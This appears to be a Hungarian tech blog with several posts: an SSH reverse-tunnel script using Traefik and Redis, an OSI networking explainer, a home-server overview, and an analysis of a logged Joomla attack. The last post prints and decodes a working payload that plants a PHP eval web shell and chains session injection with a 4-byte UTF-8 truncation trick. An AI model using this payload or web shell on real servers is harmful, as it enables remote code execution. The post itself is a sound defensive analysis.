Egy fontos mozzanat itt a trap 'cleanup' INT, amivel elkapjuk a Ctrl+C-vel való bezárást, hogy lefuttathassuk a takarítást. A tail -f /dev/null pedig tulajdonképpen nem csinál semmit, csak vár az idők végezetéig.

Természetesen futtathatóvá is kell tennünk ezt a fájlt:

tunnel:~# chmod +x /home/mole/tunnel.sh

Már csak meg kellene találnunk azokat a portokat, amiket az aktuális SSH kapcsolat nyitott. Ehhez szükségünk lesz az sshd process ID-jára, ami pont a futó scriptünk szülője, úgyhogy a következő paranccsal meg is kapjuk:

tunnel:~$ grep PPid /proc/$$/status | awk '{ print $2 }'
123263

Bash-ben a $$ az aktuális process ID-ja, a /proc könyvtárban pedig sok érdekes dolgot találhatunk, ha már tudjuk a process ID-t.

Megvan a szülő process ID, már csak a socketekről kellene információt találni. Az lsof remek eszköz erre, az egyetlen baj vele, hogy csak root-ként adja vissza azt az információt, amire nekünk szükségünk van.

A próba kedvéért felvettem a sudoers beállításai közé a mole felhasználót, hogy tudjon root-ként lsof-ot futtatni, de nem tudom, hogy ezt biztonsági szempontból teljesen rendben van-e (például van-e az lsof-nak valamilyen kevésbé ismert kapcsolója, amivel ki lehetne belőle csalni egy root shell-t).

/etc/sudoers.d/10-mole-lsof

mole ALL=(root) NOPASSWD: /usr/bin/lsof

Így már meg tudjuk szerezni a szükséges információt:

tunnel:~$ sudo lsof -a -nPi4 -sTCP:LISTEN -p 123263
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
sshd    123263 mole    9u  IPv4 1569356      0t0  TCP 127.0.0.1:45991 (LISTEN)
sshd    123263 mole   11u  IPv4 1569360      0t0  TCP 127.0.0.1:39421 (LISTEN)

Jó sok kapcsolója van, a -a azt jelzi, hogy a szűrők között AND kapcsolatot szeretnénk, a -n mondja meg, hogy ne csináljon ip címekből hostneveket, a -P azt, hogy ne csináljon port számokból port neveket, a -i szűr az IPv4 kapcsolatokra, a -s a TCP-n figyelő szerverekre szűr, a -p-vel pedig a process id-t adjuk meg. Egy kis awk mágiával gyorsan megvannak ebből már az ip:port párok:

tunnel:~$ sudo lsof -nPi4 -sTCP:LISTEN -p 123263 -a | awk '/127.0.0.1:/ { print $9 }'
127.0.0.1:45991
127.0.0.1:39421

Ezzel megvan minden szükséges részlet ahhoz, hogy össze tudjuk rakni a scriptünket:

/home/mole/tunnel.sh

#!/bin/bash -e
PID=$(grep PPid /proc/$$/status | awk '{ print $2 }')

declare -A mapping
for app in $(sudo lsof -a -nPi4 -sTCP:LISTEN -p $PID | awk '/127.0.0.1:/ { print $9 }'); do
  mapping[$(pwgen -A0sBv 10 1)]="$app"
done

setup() {
    for key in "${!mapping[@]}"; do
        redis-cli <<EOF >/dev/null
MULTI
SET traefik/http/services/${key}-service/loadbalancer/servers/0/url http://${mapping[$key]}/
SET traefik/http/routers/${key}-router/rule Host(\`${key}.tunnel.example.org\`)
SET traefik/http/routers/${key}-router/entrypoints/0 web
SET traefik/http/routers/${key}-router/service ${key}-service
EXEC
EOF
        echo "http://${key}.tunnel.example.org/ -> ${mapping[$key]}"
    done
}

cleanup() {
    for key in "${!mapping[@]}"; do
        redis-cli <<EOF >/dev/null
MULTI
DEL traefik/http/routers/${key}-router/rule
DEL traefik/http/routers/${key}-router/entrypoints/0
DEL traefik/http/routers/${key}-router/service
DEL traefik/http/services/${key}-service/loadbalancer/servers/0/url
EXEC
EOF
    done
    exit 0
}

trap 'cleanup' INT

setup
tail -f /dev/null

Nincs más hátra, mint kipróbálni:

local:~$ ssh -R 0:127.0.0.1:8080 -R 0:127.0.0.1:8081 mole@tunnel.example.org
Allocated port 34021 for remote forward to 127.0.0.1:8080
Allocated port 39097 for remote forward to 127.0.0.1:8081
http://dkchdfskxz.tunnel.example.org/ -> 127.0.0.1:34021
http://kzhrwsmgqk.tunnel.example.org/ -> 127.0.0.1:39097

És egy másik terminálban a HTTP kérést is:

local:~$ curl http://dkchdfskxz.tunnel.example.org/
hello world

Mint az látszik, mi a tunnel oldalán már csak azt tudjuk megmondani, hogy mi az a random port, amit az sshd kiosztott nekünk, azt nem tudjuk, hogy a local gépen ez milyen portnak felel meg. Szerencsére az SSH kliens kiírja, úgyhogy össze lehet rakni a teljes láncolatot, de több remote forward esetén egy kicsit kényelmetlen lehet.

Természetesen itt is rengeteg lehetőség van még a továbbfejlesztésre, mint például:

• meggyőződni róla, hogy a pwgen által generált random még nem létezik a Redis-ben
• periodikus takarító script, ami a véletlenül beragadt Redis kulcsokat törli
• HTTPS, mTLS, autentikáció

Összegzés

Mint általában, valószínűleg ebben az esetben sem érdemes saját megoldást építeni a nulláról egy napi szinten, több ember által használt rendszer esetén, ha ennyi kész megoldás áll a rendelkezésünkre. Az viszont sosem árt, ha tudjuk hogyan működhet egy ilyen rendszer a motorháztető alatt.

Érdemes lehet az egyszerű mód létezését észben tartani, akár még hasznosnak bizonyulhat valamikor a jövőben. Az SSH egy fantasztikus dolog.

Azért van olyan sok ujja, hogy hatékonyabban tudjon hackelni.

Gondolkoztál már valaha azon, hogy mi történik a színfalak mögött, amikor elküldesz egy HTTP kérést? Honnan tudják a bitek, hogy merre kell menni, amikor megpingelsz valakit a helyi hálózaton? Ilyen és ehhez hasonló kérdések megválaszolását fogjuk most megkísérelni.

Nem volt egyértelmű, hogy melyik irányból lenne érdemes nekiesni a problémának. Fogjak egy HTTP kérést és ássak le a legaljára vagy induljunk a legaljáról, amíg el nem érünk egy HTTP kérésig? Végül az utóbbi mellett döntöttem. Az eleje így egy kicsit távoli lehet, de a végére szerintem könnyebben összeáll a kép. Az OSI modellben meghatározott rétegek mentén fogunk haladni, kezdjük is a hardverrel.

Fizikai réteg

Jó eséllyel mindenkinek van otthon egy Ethernet hálózata, például valami ehhez hasonló:

Előfordulhat az is, hogy a modem, a router és a switch ugyanabban a dobozban lakik.

Ez az úgynevezett fizikai réteg: egy rakás hálózati eszköz, réz madzagokkal összekötözgetve (vagy varázslattal hajtott vezeték nélküli eszközök). Minden hálózati eszköznek van egy egyedi MAC címe, amit még a gyárban megkap. Van sok érdekesség még itt, aminek utána lehet járni (például, hogy hogyan beszélik le egymás között az eszközök, hogy milyen sebességeket támogatnak), de én személy szerint sokkal több mindent nem tudnék elmondani róla, úgyhogy lépjünk is tovább a következő szintre, az adatkapcsolati rétegre.

Adatkapcsolati réteg

Ezen a szinten végre előkerülnek az általunk jól ismert nullák és egyesek. Van az úgynevezett Ethernet keret, ami egy egységnyi adat, amit egyszerre el tudunk küldeni. Valahogy így néz ki:

Érdekes, hogy a feladó önbevallásos alapon megy. Mi történik, ha valaki más MAC címét adjuk ott meg? Lehet ezzel esetleg valami huncutságot csinálni?

Két érdekes dolog is van itt, amit érdemes megemlíteni. Az egyik a MAC spoofing, amikor nem vagyunk elégedettek a hardver gyártó által kiosztott MAC címmel és ezt meg szeretnénk változtatni. Mondjuk azért, mert az internet szolgáltatónk eszköze csak egy regisztrált MAC címmel működik. Vagy ott vannak az Android telefonok, amik alapból véletlenszerű MAC címmel csatlakoznak egy Wi-Fi hálózathoz, hogy ne lehessen nyomon követni a telefont a hálózatok között.

A másik érdekes dolog a MAC flooding, ilyenkor a támadó egy rakás véletlenszerű MAC címet állít be feladóként, ami feltölti a Switch teljes MAC cím tábláját, kiszorítva a valós MAC címeket. Ennek általában az a következménye, hogy egy beérkező valós csomag címzett MAC címét nem fogja megtalálni a MAC cím táblában, ami miatt mindenkinek kiküldi a csomagot. Így a támadó olyan csomagok tartalmába kukkanthat bele, amit nem neki szántak.

A szemfüles olvasó azt is rögtön kiszúrhatta, hogy sehol sem esik szó az úgynevezett IP címekről, amit mi általában használni szoktunk. Ehhez tovább kell lépnünk a következő szintre, ami a hálózati réteg.

Hálózati réteg

Itt több érdekes protokollról is szót kell ejtenünk, amik mind az Ethernet keret adat részébe fognak kerülni. Először is tudnunk kell, hogy egy adott IP címhez milyen MAC cím tartozik.

Address Resolution Protocol

Az ARP ebben segít nekünk, küldhetünk egy kérést, amire az IP cím tulajdonosa válaszolhat. Az üzenet felépítése:

A fenti ábrát egészítsük ki IP címekkel és nézzünk meg egy konkrét példát a kérésre és a válaszra.

Mondjuk Alice szeretné Bob-ot ping-elni, úgyhogy megkérdezi, hogy a 192.168.1.103-as IP cím melyik MAC címhez tartozik. A kérés (a zöld rész az Ethernet kerethez tartozik, a kék rész az ARP kéréshez):

Az IP címek hexadecimális formátumban vannak, a CyberChef remekül használható a konvertálásra. Kérés típusú üzenetben a címzett MAC címe bármi lehet, figyelmen kívül lesz hagyva az értéke.

Bob megkapja ezt a kérést és mivel az ő IP címe a 192.168.1.103, küld is rá egy választ:

Itt is felmerül a kérdés, hogy vajon mi történik, ha nem csak Bob válaszol az üzenetre, hanem a gonosz Mallory is? Előfordulhat, hogy Alice rossz helyre fogja küldeni Bob-nak szánt üzeneteit?

Az eszközök rendelkeznek egy ARP cache nevezetű dologgal, ami az IP cím - MAC cím összerendeléseket tartalmazza, hogy ne kelljen minden egyes alkalommal megkérdezni. Alice esetén ez valahogy így nézhet ki:

$ ip -br neigh
192.168.1.103                           eth0             0a:00:00:00:00:03
192.168.1.104                           eth0             0a:00:00:00:00:04
192.168.1.1                             eth0             0a:00:00:00:00:01

Ez a cache akkor is frissül, ha kérés nélkül kapunk egy ARP választ, ami azt jelenti, hogy ha Mallory elkezdi elárasztani hamis ARP válaszokkal a hálózatot (Alice-nak azt mondja, hogy ő a router, a router-nek azt mondja, hogy ő Alice), valamint továbbítja az eredeti címzetteknek a rajta keresztülmenő csomagokat, akkor anélkül tudja lehallgatni (vagy akár megváltoztatni) Alice Internet forgalmát, hogy Alice ebből bármit észrevenne.

Internet Protocol

A kövektező protokoll az IP, aminek megjelenésével végre vannak IP címeink és tudunk két IP cím között adatot cserélni. Az IP csomag felépítése:

Internet Control Message Protocol

Ha már a ping-et emlegettük korábban, szót kell ejtenünk az ICMP-ről. Elég fura állatfaj, a hálózati réteghez sorolják, de kicsit az az érzésem, hogy a szállítási rétegben lenne a helye. Ugyanúgy egy IP csomagba rakjuk bele, mint az UDP-t vagy a TCP-t, csak nem adatszállítás a célja. A ping esetén valahogy így épül fel az üzenet:

Alice már tudja Bob MAC címét, úgyhogy végre elküldheti azt a ping-et, amit eredetileg szeretett volna, amire aztán Bob válaszolhat. Valahogy így néz ki a kérés (a zöld rész az Ethernet kerethez tartozik, a kék rész az IP csomag, a piros rész az ICMP):

Amire Bob a következő választ küldi:

Kezd bonyolódni a dolog, pedig még messze vagyunk a végétől. Feltűnt, hogy portokról még nem is esett szó? Nem véletlenül. Ezen a ponton a port fogalma még nem létezik, ideje szintet lépni.

Szállítási réteg

Ha nyitottál már valaha socket-eket bármilyen programozási nyelven, akkor ismerősek lesznek az itt található protokollok. Kezdjük az egyszerűbbel.

User Datagram Protocol

Mint már említettem, az UDP egyszerű. Nincs garantálva, hogy megérkezik a csomag, nincs újraküldés elveszett csomagokra, csak belekiabálunk a cső egyik végébe és reménykedünk, hogy a másik végén hallani fogják. Egy csomag a következőképpen néz ki:

A feladó port is opcionális, ha nem nulla az értéke, akkor azon a porton várjuk a válasz csomagokat.

Transmission Control Protocol

És ezzel elérkeztünk a méltán híres és közkedvelt TCP-hez. A modern, pakoljunk mindent a böngészőbe és szolgáljuk ki HTTP-n alapú Internet sarokköve. Egészen addig, amíg a HTTP/3 el nem terjed, ami vált UDP-re. Egy csomag a következőképpen néz ki:

Nem csak a csomag felépítése a lényeg, hanem az a kis tánc, amit a kliens és a szerver eljár, hogy adatokat cserélhessen. Ki kell építeni és le kell zárni a kapcsolatot, valamint mindkét fél nyugtázza, hogy megkapta a másik által küldött adatokat.

Kapcsolat kiépítése

1. a kliens küld egy SYN csomagot
   (a sorszám 0, mivel ez az első csomagja a kliensnek)
2. a szerver válaszol egy SYN, ACK csomaggal
   (a sorszám 0, mivel ez az első csomagja a szervernek, a nyugta szám 1, mivel az előzőleg kapott sorszám az 0 volt és nem volt benne adat, így a következő csomagban az 1-es sorszámra számítunk)
3. a kliens válaszol egy ACK csomaggal
   (a sorszám 1, a nyugta szám 1)

Adatok cseréje

1. a kliens küld 10 byte-nyi adatot
   (a sorszám 1)
2. a szerver válaszol egy ACK csomaggal
   (a sorszám 1, a nyugta szám 11, mivel az előző sorszám 1 volt és 10 byte-nyi adatot kaptunk)
3. a szerver küld 100 byte-nyi adatot
   (a sorszám 1)
4. a kliens válaszol egy ACK csomaggal
   (a sorszám 11, a nyugta szám 101)

Kapcsolat lezárása

1. a kliens küld egy FIN csomagot
   (a sorszám 11)
2. a szerver válaszol egy FIN, ACK csomaggal
   (a sorszám 101, a nyugta szám 12)
3. a kliens válaszol egy ACK csomaggal
   (a sorszám 12, a nyugta szám 102)

Alkalmazási réteg

Elegánsan átugrunk két szintet, a viszonyréteget és a megjelenítési réteget. A viszonyrétegen van például a SOCKS protokoll, a megjelenítési réteg feladatköre pedig gyakran összeolvad az alkalmazási réteggel.

Az alkalmazási rétegünk például a HTTP. A fentebb megszerzett tudás felhasználásával nézzük is meg, hogy mi történik, amikor Alice futtat egy egyszerű curl www.example.org parancsot.

Ahhoz, hogy ezt meg tudjuk mondani, tudnunk kell Alice hálózati beállításait. Tegyük fel, hogy valami ilyesmi van beállítva:

auto eth0
iface eth0 inet static
      address 192.168.1.102
      netmask 255.255.255.0
      gateway 192.168.1.1
      dns-nameservers 1.1.1.1

• a www.example.org domain-nel nem tudunk sokat kezdeni, kell egy IP cím
• a beállított DNS IP címe nem a helyi hálózaton van, úgyhogy a kérést a router (gateway) felé kell küldeni
• ARP kérés küldése, hogy kiderítsük a router MAC címét
• UDP csomag küldése a router MAC címére, az IP csomagban a DNS IP címével
• a router látja, hogy nem ő a címzett, ezért továbbítja a csomagot az Internet felé (itt még közrejátszik a NAT és a kapcsolatkövetés is, hogy kifelé a router publikus IP címe látszódjon a csomagban és a visszaérkező válaszról tudja, hogy kinek kell továbbítani)
• az Internet felől érkezik egy válasz UDP csomag, a router látja, hogy nem neki címezték
• a kapcsolatkövetés miatt tudja a router, hogy merre kell továbbítania a csomagot
• UDP csomag továbbítása Alice-nek
• a www.example.org IP címe X.X.X.X
• HTTP kérés összeállítása, TCP kapcsolat felépítése
• az X.X.X.X cím nem a helyi hálózaton van, úgyhogy a TCP csomagokat a router MAC címére küldjük a megfelelő címzett IP címmel
• a válasz csomagokat a router továbbítja Alice-nek
• TCP kapcsolat lebontása
• az ARP kérésekre ezen a ponton már valószínűleg nincs szükség, mert benne van a cache-ben

Felmerülhet még a kérdés, hogy miből derül ki, hogy egy IP cím nem a helyi hálózaton van. A fenti address/netmask/gateway beállításokból generálódik egy routing tábla, ami valahogy így nézhet ki:

$ sudo route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0

Nem mondom, hogy tudom pontosan hogyan is működik, de azt tippelném, hogy a legszűkebb találatot fogja előszedni vagy a végéről indul visszafelé és az első találatot, de lényeg a lényeg, ha valami a 192.168.1.0-192.168.1.255 tartományban van, akkor azt csak egyszerűen kiküldi a megfelelő MAC címre, az összes többi IP cím esetén a 192.168.1.1 IP címhez tartozó MAC címre küldi a csomagot. A router-nek pedig van egy hasonló routing táblája, ami alapján el tudja dönteni, hogy mit kezdjen azzal a csomaggal.

Összegzés

Remélem sikerült egy csepp betekintést nyerni abba, hogy mi történik "alattunk", amikor használjuk az Internetet. Sok rétegen át rengeteg dolog történik és mi most csak a felszínt kapargattuk meg egy kicsit.

Nem is jutottunk túl messzire, csak a router-ig merészkedtünk. Ami azon túl van... az egy külön világ, ahol olyanok vannak, mint a DSL, SDH, PPP, MPLS, BGP, OSPF, meg még egy csomó rövidítés, aminek még a létezéséről se tudok. És mégis, az esetek többségében eljutnak a csomagjaink a megfelelő címzettekhez. Mi ez, ha nem varázslat?

Valahogy mindig is vonzott az a gondolat, hogy legyen egy otthoni szerverem. Az első egy kiöregedett asztali PC volt, igazi retró szürke fekvő házban, amire egy Debian-t húztunk fel. Azon kezdtem el tanulgatni a Linux rejtelmeit. Később egy apróhirdetés oldalon vadásztam össze egy leselejtezett Dell OptiPlex Gx240-et, ami egészen a Raspberry Pi Model B megjelenéséig kitartott. Onnantól kezdve egész sokáig csak Raspberry Pi volt használva otthoni szervernek, mindig cserélve a legfrissebb verzióra.

Az ARM alapú rendszerek nem mindig voltak problémamentesek. Nem működtek dolgok, nem voltak rá csomagok vagy éppen cross-compile-olni kellett volna rá. Meg hát a Raspberry Pi sem egy erőmű. Egy ideig szemezgettem az x86 architektúrával, főleg az Intel NUC termékvonallal, de végül az ilyen irányú otthoni szerver igényeimet felhős szerverekkel helyettesítettem.

Egy ponton leköltöztem a felhőből és jelenleg három szerver tartja itthon a frontot.

File szerver

A régi Raspberry Pi szerverek leszármazottja, egy 4-es Model B, 4 GB RAM-mal. Valamikor rá lett kötve egy 4 TB-os külső meghajtó is, azóta főleg file szerverként üzemel Samba segítségével. Fut még rajta Syncthing, amivel a gépeim közötti fájl szinkronizálást oldom meg.

Van egy társa is, szintén egy Raspberry Pi 4 Model B (valószínűleg ugyanúgy 4 GB RAM-mal, de lusta vagyok megnézni), amin LibreELEC fut a TV felokosításához, de őt nem sorolnám a szerverek közé.

A régi router

Egy időben sok cikkbe futottam bele, ami arról szólt, hogy milyen jó dolog PC alkatrészekből saját router-t építeni. Meg is jött hozzá a kedvem, építettem egyet Mini-ITX alapokon:

• Chieftec IX-03B-OP ház
• Gigabyte GA-N3160N-D3V alaplap
• Intel Celeron N3160 processzor az alaplapra integrálva
• 8 GB RAM
• SATA SSD
• passzív hűtés

Tényleg jó volt, rengeteget tanultam belőle, de egy idő után túl sok volt vele a nyűg. Visszaváltottam egy gyári router-re, de a gép megmaradt és maradt pár szolgáltatás is, ami továbbra is innen fut. Van rajta egy rekurzív DNS feloldó, ami DNS alapú reklám blokkolóként is működik (mint a Pi-hole, csak én tákoltam össze) és egy TFTP/NFS szerver a LibreELEC-es Raspberry Pi-nak. Volt rajta egy OpenVPN szerver is, amit elkezdtem átmigrálni WireGuard-ra, de aztán félbemaradt és most egyik sincs rajta.

Alkalmazás szerver

A router nem egy erőműnek készült, az alkalmazások futtatásához kellett itthonra valami erősebb gép. A Mini-ITX alapok beváltak, úgyhogy egy ugyanolyan kis dobozt raktam össze, mint a router esetén:

• szintén egy Chieftec IX-03B-OP ház
• Asus PRIME H410I-PLUS alaplap
• Intel Core i3-10100 processzor
• 16 GB RAM
• NVMe SSD
• aktív hűtés

A gépen egy Docker Swarm fut, Portainer és Traefik segítségével (részletek a költözős bejegyzésben). Sok minden megfordult már rajta (Elastic Stack, Nextcloud, MQTT szerver a szenzorok egy újabb változatának). Jelenleg csak egy GitLab-ot (Git szerver, container/package registry, build szerver) és egy MediaWiki-t futtat aktívan. Lehet az utóbbit is kiválthatnám a GitLab beépített Wiki oldalával.

És azt hiszem ennyi. Remélem sikerült ihletet meríteni belőle és már tervezgeted az új szerveredet. Ha most indulsz csak el az otthoni szervertartás (nem különösebben) rögös útján, akkor kezdésnek egy Raspberry Pi jó döntés lehet (ha éppen nincs belőle készlethiány) a hivatalos Raspberry Pi OS Lite-tal. Viszonylag olcsó, jól támogatott hardver, elég sok self-hosted alkalmazással elbír. Aztán ahogy kiderülnek menet közben a hiányosságok, úgy lehet nézni alternatív megoldásokat.

Évekkel ezelőtt tartottam egy belsős előadást egy sérülékenységről, ami annyira tekervényes, olyan valószínűtlen, hogy még a mai napig is lenyűgöz.

Az egész úgy kezdődött, hogy találtam egy feltűnően furcsa sort a webszerver logjai között. A publikus interneten lógó webszerverek logjaiban sok a furcsa sor, na de a feltűnően furcsa...

192.0.2.1 - - [16/Oct/2018:17:33:48 +0000] "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 301 178 "-" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:46:\x22eval($_REQUEST[1]);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86"

Két érdekes dolog is van itt. Az egyik az 1 elnevezésű GET paraméterben kapott adat, a másik a user agent értéke (az idézőjelek közötti rész a sor végén). Nézzük először a GET paramétert.

Távoli elérés

Egy urldecode és némi formázás után a következő PHP kódot kapjuk (a CyberChef egyébként remek eszköz ilyenekre):

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);

echo '->|';
file_put_contents(
  $_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',
  base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+')
);
echo '|<-';

A webconfig.txt.php fájlba próbál nekünk valamit beírni. Egy gyors base64_decode és az is kiderül, hogy mit:

<?php eval($_POST[1]);?>

Egy egyszerű PHP-s remote shell, amit arra lehet használni, hogy a támadó bármilyen PHP kódot lefuttathasson az adott gépen. Hogy miért volt ráküldve egy base64_encode? Amint elmentettem a fájlt, ami ezt a bejegyzést tartalmazza úgy, hogy benne volt a fentebbi kód, rögtön jelzett a vírusirtó, hogy backdoor-t talált. A base64 enkódolt változat viszont még nem zavarta.

A probléma csak az, hogy az eredeti HTTP kérés nem a webconfig.txt.php-ra érkezett, így az 1 paraméterben kapott kódot nem is futtatta le a remote shell. Meg minek is küldenének a remote shell-nek egy olyan parancsot, hogy hozza létre saját magát? Biztos a user agent értékében lesz valami huncutság.

Kód újrahasznosítás

Egy kis formázás és dekódolás után ezt kapjuk:

}__test|O:21:"JDatabaseDriverMysqli":3:{
  s:2:"fc";O:17:"JSimplepieFactory":0:{}
  s:21:"\0\0\0disconnectHandlers";a:1:{
    i:0;a:2:{
      i:0;O:9:"SimplePie":5:{
        s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}
        s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";
        s:19:"cache_name_function";s:6:"assert";
        s:5:"cache";b:1;
        s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}
      }
      i:1;s:4:"init";
    }
  }
  s:13:"\0\0\0connection";b:1;
}\xF0\x9D\x8C\x86

Huncutságból nincs hiány, az már egyszer biztos. Rögtön egy } karakterrel kezdünk, ami utalhat egy injection jellegű támadásra, amiben ezzel a karakterrel akarják lezárni az előző értéket.

A következő rész rutinosabb PHP fejlesztőket a serialize-ra emlékeztetheti, de nem teljesen egyezik a formátum. A session_encode ad vissza ilyet és a session-ben található adatok vannak ezzel az enkódolással tárolva szerver oldalon. A végén még van egy furcsa \xF0\x9D\x8C\x86 karaktersor, amit egyelőre nem tudunk hova tenni, de biztos az is rosszban sántikál.

Olyan, mintha valahogy a User-Agent header-ön keresztül próbálnának létrehozni egy új változót a session-ben. Ez az új __test változó a JDatabaseDriverMysqli osztály egy példánya lesz, ami azt állítja magáról, hogy van aktív kapcsolata (a connection értéke true) és van egy disconnect handler-je is, a SimplePie osztály egy példánya, aminek az init metódusát kellene majd meghívni disconnect esetén. Ez már önmagában is elég szokatlan, de ha megnézzük a példány feed_url-jét, az még több gyanúra ad okot:

eval($_REQUEST[1]);JFactory::getConfig();exit;

Még egy remote shell, biztos, ami biztos.

A Joomla mélyén

A J-vel kezdődő osztály nevekből ki lehet deríteni, hogy Joomla-ról van szó. További keresgéléssel a konkrét sebezhetőséget is meg lehet találni, amiből kiderül a pontos verzió is. Így már meg tudjuk nézni, hogy mi történik a kódban. A JDatabaseDriverMysqli releváns része:

public function __destruct()
{
    $this->disconnect();
}

public function disconnect()
{
    if ($this->connection)
    {
        foreach ($this->disconnectHandlers as $h)
        {
            call_user_func_array($h, array( &$this));
        }

        mysqli_close($this->connection);
    }

    $this->connection = null;
}

Az objektum megszűnése előtt lefut a disconnect, ami meghívja az összes disconnect handler-t, esetünkben a gyanús SimplePie példányunk init metódusát:

function init()
{
    // ...

    $cache = call_user_func(
        array($this->cache_class, 'create'),
        $this->cache_location,
        call_user_func($this->cache_name_function, $this->feed_url),
        'spc'
    );

    // ...
}

A számunkra érdekesnek tűnő rész az, hogy a cache_name_function meghívódik és a feed_url-t kapja meg paraméterként. A user agent-ben lévő adatokkal ez a következő hívást jelenti:

call_user_func('assert', 'eval($_REQUEST[1]);JFactory::getConfig();exit;');

Elég régi ez a sebezhetőség, úgyhogy a kód az assert függvény PHP 8.0.0 előtti működésére támaszkodik, amikor még egy string-et várt első paraméternek, amit lefuttatott és kiértékelt. Ez a hívás tehát végrehajtaná a GET paraméterben kapott PHP kódot.

Sikerült megfejteni a log sort, itt az ideje összefoglalni, hogy mire is jutottunk:

• GET paraméterben kapunk egy PHP kódot, ami ha lefut, létrehoz egy remote shell-t
• a user agent-ben egy injection-nek tűnő dolog van, ami egy új változót csinál a session-ben
• az új változó egy olyan gondosan összeállított objektum struktúra, ami az objektum megszűnése esetén lefuttatja a GET paraméterben kapott PHP kódot

A Joomla egy ponton tényleg belerakja a user agent-et a session-be. Konfigurációtól függően ez a session sok helyen tárolódhat, de az alap beállítás az, hogy a MySQLi driver segítségével lementődik egy MySQL táblába. Egy fontos részlet még itt, hogy a kapcsolódás során beállít egy utf8-as karakterkészletet az adatbázis kapcsolaton (és valószínűleg az adatbázisnak és a tábláknak is hasonlóan utf8 a karakterkészlete). De hogy lesz ebből injection?

Furcsa működések

Két gyanúsítottunk maradt, a PHP session kezelése és a session adatok tárolása MySQL-ben. Kezdjük a PHP-val. Nézzünk meg egy egyszerű példát, hogy a session mentés által is használt session_encode hogyan is működik:

session_start();

$_SESSION['foo'] = array();
$_SESSION['bar'] = 'something';

print(session_encode() . "\n");

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}bar|s:9:"something";

Így, hogy már tudjuk, nagyjából hogyan néz ki az elvárt kimenet, próbáljunk meg belevinni az egészbe egy kis huncutságot:

session_start();

$_SESSION['foo'] = array();
$_SESSION['evil'] = "}__test|O:8:\"stdClass\":1:{s:4:\"evil\";b:1;}\xF0\x9D\x8C\x86";
$_SESSION['bar'] = 'something';

print(session_encode() . "\n");

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}evil|s:46:"}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆";bar|s:9:"something";

Ez eddig nem tűnik túl izgalmasnak, csak stringként oda lett serialize-olva a huncutságunk, a furcsa karaktersorról pedig kiderült, hogy csak egy 4 byte-os UTF-8 karakter. De mi történik akkor, ha megpróbáljuk ezt az adatot visszaolvasni?

$data = session_encode();

$_SESSION = array();
session_decode($data);

var_dump($_SESSION);

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  ["foo"]=>
  array(0) {
  }
  ["evil"]=>
  string(46) "}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆"
  ["bar"]=>
  string(9) "something"
}

Egyáltalán semmi rendkívüli. Elég kiábrándító. Talán annak a \xF0\x9D\x8C\x86 résznek a MySQL-hez van köze. Húzzunk fel egy szervert és nézzük meg.

docker-compose.yml

version: '3'
services:
  app:
    image: php:5.3.29
    volumes:
      - .:/app
    working_dir: /app
  db:
    image: mysql:5.6.51
    environment:
      MYSQL_ROOT_PASSWORD: secret
      MYSQL_DATABASE: test

A kis teszt script-ünk kapcsolódik az adatbázishoz, beállítja utf8-ra a kapcsolat karakterkészletét, létrehoz egy táblát ugyanazzal a karakterkészlettel és belerak egy sort, aminek a közepén benne van a mi huncut kis bitkolbászunk. Végül pedig vissza is olvassuk ezt az adatot.

$db = new mysqli('db', 'root', 'secret', 'test');
$db->set_charset('utf8');

$db->query("CREATE TABLE test (id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY, data TEXT NOT NULL) CHARACTER SET utf8");

$stmt = $db->prepare("INSERT INTO test (data) VALUES (?)");

$data = "foo\xF0\x9D\x8C\x86bar";

$stmt->bind_param('s', $data);
$stmt->execute();

$result = $db->query("SELECT * FROM test");
var_dump($result->fetch_assoc());

$db->query("DROP TABLE test");

$ docker-compose run --rm app php test.php
array(2) {
  ["id"]=>
  string(1) "1"
  ["data"]=>
  string(3) "foo"
}

Na, végre valami történik. A bitkolbász és az utána lévő rész eltűnt.

A trükk az, hogy az utf8 (teljes nevén utf8mb3, azaz 3-Byte UTF-8 Unicode Encoding) nem támogatja a 4 byte-os UTF-8 karaktereket (arra van egy külön utf8mb4), ha ilyennel találkozik, akkor eldobja az adat maradékát és csak az első felét tárolja le.

Nézzük meg mi történik a PHP session_decode környékén, ha szimuláljuk ezt a viselkedést:

$data = session_encode();
$data = substr($data, 0, strpos($data, "\xF0\x9D\x8C\x86"));

$_SESSION = array();
session_decode($data);

var_dump($_SESSION);

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
